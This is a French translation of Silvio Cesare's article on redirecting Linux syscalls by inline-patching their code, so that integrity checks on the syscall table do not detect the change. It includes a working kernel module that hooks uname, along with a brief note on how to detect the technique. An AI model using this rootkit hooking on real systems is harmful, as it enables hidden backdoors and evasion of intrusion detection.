Redirection Syscall sans modification de Sycall Table.

- Silvio Cesare <silvio@big.net.au>
- Translation eberkut <eberkut@nexen.net> (oui j'avoue, je me suis pas foulé)

Cet article décrit une technique de redirection des appels système sans modifier la table d'appel système (implémenté dans Linux). Ceci peut être utilisé pour éviter les systèmes de détection d'intrusion qui utilisent la table d'appel système pour enregistrer les appels système redirigés ou backdoorés. Il y a cependant un modification facile à faire pour détecter l'attaque mise en application dans cet article. Les prémisses de base derrière cette attaque sont de modifier le vieux code d'appel système pour sauter le nouvel appel système, ainsi le contrôle est transféré à l'appel system de remplacement et la table syscall est laissé intacte. Si c'est la seule procédure suivie, le vieil appel système est laissé dans un état démoli, et il est dangereux de l'exécuter, ainsi le code initial est sauvegardé quand l'appel système est fait. Le code initial substitue le saut et l'appel système agit normalement. Après ceci, le saut peut alors être inséré (overwriter) encore en attendant la prochaine utilisation. Détecter cette attaque signifie que les premiers octets des appels système initiaux devraient être sauvegardés et puis comparés pour vérifier qu'en effet l'appel système initial est en place.

-- stealth_syscall.c (Linux 2.0.35)


#include <linux/config.h>
#include <linux/kernel.h>
#include <linux/module.h>
#include <linux/version.h>
#include <linux/utsname.h>
#include <linux/string.h>
#include <asm/string.h>
#include <asm/unistd.h>

#define SYSCALL_NR __NR_uname

static char syscall_code[7];
static char new_syscall_code[7] =
"\xbd\x00\x00\x00\x00" /* movl $0,%ebp */
"\xff\xe5" /* jmp *%ebp */
;

extern void *sys_call_table[];

void *_memcpy(void *dest, const void *src, int size)
{
const char *p = src;
char *q = dest;
int i;

for (i = 0; i < size; i++) *q++ = *p++;

return dest;
}

/*
uname
*/

int new_syscall(struct new_utsname *buf)
{
printk(KERN_INFO "UNAME - Silvio Cesare\n");
_memcpy(
sys_call_table[SYSCALL_NR], syscall_code,
sizeof(syscall_code)
);
((int (*)(struct new_utsname *))sys_call_table[SYSCALL_NR])(buf);
_memcpy(
sys_call_table[SYSCALL_NR], new_syscall_code,
sizeof(syscall_code)
);
}

int init_module(void)
{
*(long *)&new_syscall_code[1] = (long)new_syscall;
_memcpy(
syscall_code, sys_call_table[SYSCALL_NR],
sizeof(syscall_code)
);
_memcpy(
sys_call_table[SYSCALL_NR], new_syscall_code,
sizeof(syscall_code)
);
return 0;
}

void cleanup_module(void)
{
_memcpy(
sys_call_table[SYSCALL_NR], syscall_code,
sizeof(syscall_code)
);
}